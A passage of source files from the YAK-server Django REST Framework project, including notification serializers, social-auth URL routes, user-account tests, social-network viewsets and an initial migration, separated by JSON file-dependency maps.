["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,202
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/serializers.py
from rest_framework import serializers from yak.rest_notifications.models import NotificationSetting, Notification, PushwooshToken, NotificationType from yak.rest_user.serializers import UserSerializer from yak.settings import yak_settings class PushwooshTokenSerializer(serializers.ModelSerializer): user = UserSerializer(read_only=True, default=serializers.CurrentUserDefault()) hwid = serializers.CharField(write_only=True) language = serializers.CharField(write_only=True) platform = serializers.CharField(write_only=True) class Meta: model = PushwooshToken fields = '__all__' class NotificationTypeSerializer(serializers.ModelSerializer): class Meta: model = NotificationType fields = ('id', 'name', 'description', 'is_active') class NotificationSettingListSerializer(serializers.ListSerializer): """ Helps us do bulk updates """ def update(self, instance, validated_data): # Maps for id->instance and id->data item. object_mapping = {obj.id: obj for obj in instance} data_mapping = {item['id']: item for item in validated_data} # Perform creations and updates. ret = [] for obj_id, data in data_mapping.items(): obj = object_mapping.get(obj_id, None) if obj is None: raise serializers.ValidationError("Cannot update {}".format(obj_id)) else: ret.append(self.child.update(obj, data)) return ret class NotificationSettingSerializer(serializers.ModelSerializer): notification_type = NotificationTypeSerializer(read_only=True) # This allows us to pass `id` for bulk updates id = serializers.IntegerField(label='ID', read_only=False, required=False) class Meta: model = NotificationSetting fields = ('id', 'notification_type', 'allow_push', 'allow_email') list_serializer_class = NotificationSettingListSerializer class NotificationSerializer(serializers.ModelSerializer): message = serializers.SerializerMethodField() reporter = UserSerializer(read_only=True) content_object = serializers.SerializerMethodField() class Meta: model = Notification fields = ('created', 'name', 'message', 'reporter', 'content_object') def get_message(self, obj): return obj.message(Notification.PUSH) def get_content_object(self, obj): serializer_class = yak_settings.SERIALIZER_MAPPING[type(obj.content_object)] serializer = serializer_class(instance=obj.content_object, context=self.context) return serializer.data def to_representation(self, instance): ret = super(NotificationSerializer, self).to_representation(instance) ret[instance.content_object._meta.model_name] = ret.pop('content_object') return ret
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,203
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/urls.py
from django.conf.urls import url from yak.rest_social_auth import views urlpatterns = [ url(r'^social_sign_up/$', views.SocialSignUp.as_view(), name="social_sign_up"), url(r'^social_friends/$', views.SocialFriends.as_view(), name="social_friends"), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,204
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/tests/test_user.py
import base64 from django.contrib.auth import get_user_model from django.contrib.auth.tokens import default_token_generator from django.core import mail from django.core.files.images import get_image_dimensions from rest_framework.reverse import reverse from django.utils.encoding import force_bytes from django.utils.http import urlsafe_base64_encode from test_project import settings from test_project.test_app.tests.factories import UserFactory from yak.rest_core.test import SchemaTestCase User = get_user_model() def encode_string(str): """ Encode a unicode string as base 64 bytes, then decode back to unicode for use as a string """ return base64.encodebytes(bytes(str, 'utf8')).decode() class UserTests(SchemaTestCase): def setUp(self): super(UserTests, self).setUp() self.user = User.objects.create_user(username='tester1', email='tester1@yeti.co', password='password') def test_autocomplete(self): """ Tests that when a string is sent with the user's name or username, we return a filtered list of users """ url = reverse("users-list") bob = UserFactory(username="bob") frank = UserFactory(username="frank") UserFactory(username="mindy") parameters = {"search": "fra"} response = self.assertSchemaGet(url, parameters, "$userResponse", bob) self.assertEqual(response.data["count"], 1) self.assertEqual(response.data["results"][0]["username"], frank.username) def test_update_user(self): me = UserFactory() stranger = UserFactory() url = reverse("users-detail", args=[me.pk]) data = { "fullname": "Hodor", "username": me.username # Don't freak out if unchanged unique data is sent } # Unauthenticated user can't update a user's profile self.assertSchemaPatch(url, "$userRequest", "$userResponse", data, None, unauthorized=True) self.assertEqual(User.objects.get(pk=me.pk).fullname, None) # Stranger can't update another user's profile self.assertSchemaPatch(url, "$userRequest", "$userResponse", data, stranger, unauthorized=True) self.assertEqual(User.objects.get(pk=me.pk).fullname, None) # User can update their own profile self.assertSchemaPatch(url, "$userRequest", "$userResponse", data, me) self.assertEqual(User.objects.get(pk=me.pk).fullname, "Hodor") def test_get_logged_in_user(self): me = UserFactory() UserFactory() url = reverse("users-me") response = self.assertSchemaGet(url, None, "$userResponse", me) self.assertEqual(response.data["id"], me.pk) def test_user_can_sign_up(self): url = reverse("sign_up") password = encode_string("testtest") data = { "fullname": "tester", "username": "tester", "password": password } self.assertSchemaPost(url, "$signUpRequest", "$signUpResponse", data, None) user = User.objects.filter(username="tester") self.assertEqual(user.count(), 1) # Password gets decoded and hashed self.assertTrue(user[0].check_password("testtest")) def test_password_min_length(self): url = reverse("sign_up") password = encode_string("test") data = { "fullname": "tester2", "username": "tester2", "email": "tester2@yeti.co", "password": password } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_user_can_log_in(self): url = reverse("login") # With the correct username and password, a user can log in with basic auth auth_string = encode_string("tester1:password") self.client.credentials(HTTP_AUTHORIZATION='Basic ' + auth_string) response = self.client.get(url) self.assertValidJSONResponse(response) self.check_response_data(response, "$loginResponse") # Incorrect credentials return unauthorized auth_string = encode_string("tester1:WRONGPASSWORD") self.client.credentials(HTTP_AUTHORIZATION='Basic ' + auth_string) response = self.client.get(url) self.assertHttpUnauthorized(response) def test_user_can_sign_in(self): url = reverse("sign_in") # With the correct username and password, a user can sign in good_data = { "username": "tester1", "password": "password" } self.assertSchemaPost(url, "$signInRequest", "$loginResponse", good_data, None, status_OK=True) # Incorrect credentials return unauthorized bad_data = { "username": "tester1", "password": "WRONGPASSWORD" } response = self.client.post(url, bad_data, format="json") self.assertHttpUnauthorized(response) def test_inexact_signup(self): """ Email and username are case insensitive """ UserFactory(username="used", email="used@email.com") url = reverse("sign_up") data = { 'username': 'useD', 'email': 'different@email.com', 'password': encode_string("password") } response = self.client.post(url, data, format="json") self.assertHttpBadRequest(response) data = { 'username': "new_username", 'email': 'useD@email.com', 'password': encode_string("password") } response = self.client.post(url, data, format="json") self.assertHttpBadRequest(response) def test_inexact_login(self): url = reverse("login") # username is case-insensitive for login auth_string = encode_string("Tester1:password") self.client.credentials(HTTP_AUTHORIZATION='Basic ' + auth_string) response = self.client.get(url) self.assertValidJSONResponse(response) self.check_response_data(response, "$loginResponse") def test_edit_user_to_inexact_match(self): """ You also can't edit a user to an inexact match of someone else's username. This fails correctly at the DB level, but need to add validation in the API to give better errors """ user1 = UserFactory(username="baylee") UserFactory(username="winnie") url = reverse("users-detail", args=[user1.pk]) data = {"username": "Winnie"} self.add_credentials(user1) response = self.client.patch(url, data, format="json") self.assertHttpBadRequest(response) def test_user_can_get_token(self): """ Below is the test I want. But it fails because django-oauth-toolkit will only accept requests with content-type application/x-www-form-urlencoded. DRF does not appear to support this type. url = reverse("oauth2_provider:token") data = { "client_id": self.user.oauth2_provider_application.first().client_id, "client_secret": self.user.oauth2_provider_application.first().client_secret, "grant_type": "client_credentials" } self.assertManticomPOSTResponse(url, "$tokenRequest", "$tokenResponse", data, None) """ pass def test_token_authenticates_user(self): pass def test_photo_resize(self): me = UserFactory() url = reverse("users-detail", args=[me.pk]) data = { "original_photo": open(settings.PROJECT_ROOT + "/test_app/tests/img/yeti.jpg", 'rb') } self.assertSchemaPatch(url, "$userRequest", "$userResponse", data, me, format="multipart") user = User.objects.get(pk=me.pk) # Check the original photo is saved self.assertEqual( user.original_photo.file.read(), open(settings.PROJECT_ROOT + "/test_app/tests/img/yeti.jpg", 'rb').read() ) # Check the photo is correctly resized for size_field, size in User.SIZES.items(): w, h = get_image_dimensions(getattr(user, size_field).file) self.assertEqual(size['height'], h) self.assertEqual(size['width'], w) class PasswordResetTests(SchemaTestCase): def test_user_can_change_password(self): felicia = UserFactory(username='felicia') felicia.set_password('password') felicia.save() url = reverse("password_change") data = { "old_password": encode_string("password"), "password": encode_string("felicia"), "confirm_password": encode_string("felicia") } # Unauthenticated user can't change password self.assertSchemaPatch(url, "$changePasswordRequest", "$changePasswordResponse", data, None, unauthorized=True) self.assertFalse(User.objects.get(pk=felicia.pk).check_password("felicia")) # User can't change password if the old / current password is incorrect bad_data = { "old_password": encode_string("wrong_password"), "password": encode_string("felicia"), "confirm_password": encode_string("felicia") } self.assertSchemaPatch(url, "$changePasswordRequest", "$changePasswordResponse", bad_data, felicia, unauthorized=True) self.assertFalse(User.objects.get(pk=felicia.pk).check_password("felicia")) # User can't change password if the two new passwords don't match mismatch_password_data = { "old_password": encode_string("password"), "password": encode_string("felicia"), "confirm_password": encode_string("FELICIA") } self.add_credentials(felicia) response = self.client.patch(url, mismatch_password_data, format='json') self.assertEqual(response.status_code, 400) self.assertFalse(User.objects.get(pk=felicia.pk).check_password("felicia")) # User can change their own password self.assertSchemaPatch(url, "$changePasswordRequest", "$changePasswordResponse", data, felicia) self.assertTrue(User.objects.get(pk=felicia.pk).check_password("felicia")) def test_user_can_get_reset_password_email(self): jeanluc = UserFactory(username="jeanluc") url = reverse("password_reset") data = { "email": jeanluc.email } self.assertSchemaPost(url, "$resetPasswordRequest", "$resetPasswordResponse", data, None, status_OK=True) self.assertEqual(len(mail.outbox), 1) def test_user_can_reset_password(self): url = reverse("password_new") beverly = UserFactory(username="beverly") beverly.set_password("jack") beverly.save() mismatch_password_data = { "uid": urlsafe_base64_encode(force_bytes(beverly.pk)).decode(), "token": default_token_generator.make_token(beverly), "password": encode_string("wesley"), "confirm_password": encode_string("WESLEY") } response = self.client.post(url, mismatch_password_data, format='json') self.assertEqual(response.status_code, 400) self.assertFalse(User.objects.get(username='beverly').check_password('wesley')) bad_uid_data = { "uid": urlsafe_base64_encode(force_bytes(UserFactory().pk)).decode(), "token": default_token_generator.make_token(beverly), "password": encode_string("wesley"), "confirm_password": encode_string("wesley") } response = self.client.post(url, bad_uid_data, format='json') self.assertEqual(response.status_code, 400) self.assertFalse(User.objects.get(username='beverly').check_password('wesley')) good_data = { "uid": urlsafe_base64_encode(force_bytes(beverly.pk)).decode(), "token": default_token_generator.make_token(beverly), "password": encode_string("wesley"), "confirm_password": encode_string("wesley") } self.assertSchemaPost(url, "$setPasswordRequest", "$userResponse", good_data, None, status_OK=True) self.assertTrue(User.objects.get(username='beverly').check_password('wesley'))
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,205
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_network/views.py
import rest_framework from rest_framework.response import Response from rest_framework import viewsets, status, generics from rest_framework.decorators import detail_route, list_route from yak.rest_core.utils import get_package_version from yak.rest_social_network.models import Tag, Comment, Follow, Flag, Share, Like from yak.rest_social_network.serializers import TagSerializer, CommentSerializer, FollowSerializer, FlagSerializer, \ ShareSerializer, LikeSerializer from yak.rest_user.serializers import UserSerializer from yak.rest_user.views import UserViewSet from django.contrib.auth import get_user_model User = get_user_model() drf_version = get_package_version(rest_framework) class TagViewSet(viewsets.ModelViewSet): queryset = Tag.objects.all() serializer_class = TagSerializer class CommentViewSet(viewsets.ModelViewSet): queryset = Comment.objects.all() serializer_class = CommentSerializer filter_fields = ('content_type', 'object_id') def perform_create(self, serializer): serializer.save(user=self.request.user) def perform_update(self, serializer): serializer.save(user=self.request.user) class FollowViewSet(viewsets.ModelViewSet): queryset = Follow.objects.all() serializer_class = FollowSerializer def perform_create(self, serializer): serializer.save(user=self.request.user) def perform_update(self, serializer): serializer.save(user=self.request.user) @list_route(methods=['post']) def bulk_create(self, request): serializer = self.get_serializer(data=request.data, many=True) if serializer.is_valid(): serializer.save(user=self.request.user) return Response(serializer.data, status=status.HTTP_201_CREATED) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) class ShareViewSet(viewsets.ModelViewSet): queryset = Share.objects.all() serializer_class = ShareSerializer def perform_create(self, serializer): serializer.save(user=self.request.user) def perform_update(self, serializer): serializer.save(user=self.request.user) class LikeViewSet(viewsets.ModelViewSet): queryset = Like.objects.all() serializer_class = LikeSerializer def perform_create(self, serializer): serializer.save(user=self.request.user) def perform_update(self, serializer): serializer.save(user=self.request.user) class FlagView(generics.CreateAPIView): queryset = Flag.objects.all() serializer_class = FlagSerializer def perform_create(self, serializer): serializer.save(user=self.request.user) class SocialUserViewSet(UserViewSet): serializer_class = UserSerializer @detail_route(methods=['get']) def following(self, request, pk): requested_user = User.objects.get(pk=pk) following = requested_user.user_following() if drf_version[0] >= 3 and drf_version[1] < 1: result_page = self.paginate_queryset(following) else: paginator = FollowViewSet().paginator result_page = paginator.paginate_queryset(following, request) serializer = FollowSerializer(instance=result_page, many=True, context={'request': request}) return Response(serializer.data) @detail_route(methods=['get']) def followers(self, request, pk): requested_user = User.objects.get(pk=pk) followers = requested_user.user_followers() if drf_version[0] >= 3 and drf_version[1] < 1: result_page = self.paginate_queryset(followers) else: paginator = FollowViewSet().paginator result_page = paginator.paginate_queryset(followers, request) serializer = FollowSerializer(instance=result_page, many=True, context={'request': request}) return Response(serializer.data)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,206
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_network/migrations/0001_initial.py
# -*- coding: utf-8 -*- from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0001_initial'), ] operations = [ migrations.CreateModel( name='Comment', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField(db_index=True)), ('description', models.CharField(max_length=140)), ], options={ 'ordering': ['created'], }, bases=(models.Model,), ), migrations.CreateModel( name='Flag', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField()), ], options={ }, bases=(models.Model,), ), migrations.CreateModel( name='Follow', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField(db_index=True)), ], options={ 'ordering': ['created'], }, bases=(models.Model,), ), migrations.CreateModel( name='Like', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField(db_index=True)), ], options={ }, bases=(models.Model,), ), migrations.CreateModel( name='Share', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(to='contenttypes.ContentType', on_delete=models.CASCADE)), ], options={ }, bases=(models.Model,), ), migrations.CreateModel( name='Tag', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('name', models.CharField(unique=True, max_length=75)), ], options={ 'abstract': False, }, bases=(models.Model,), ), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": 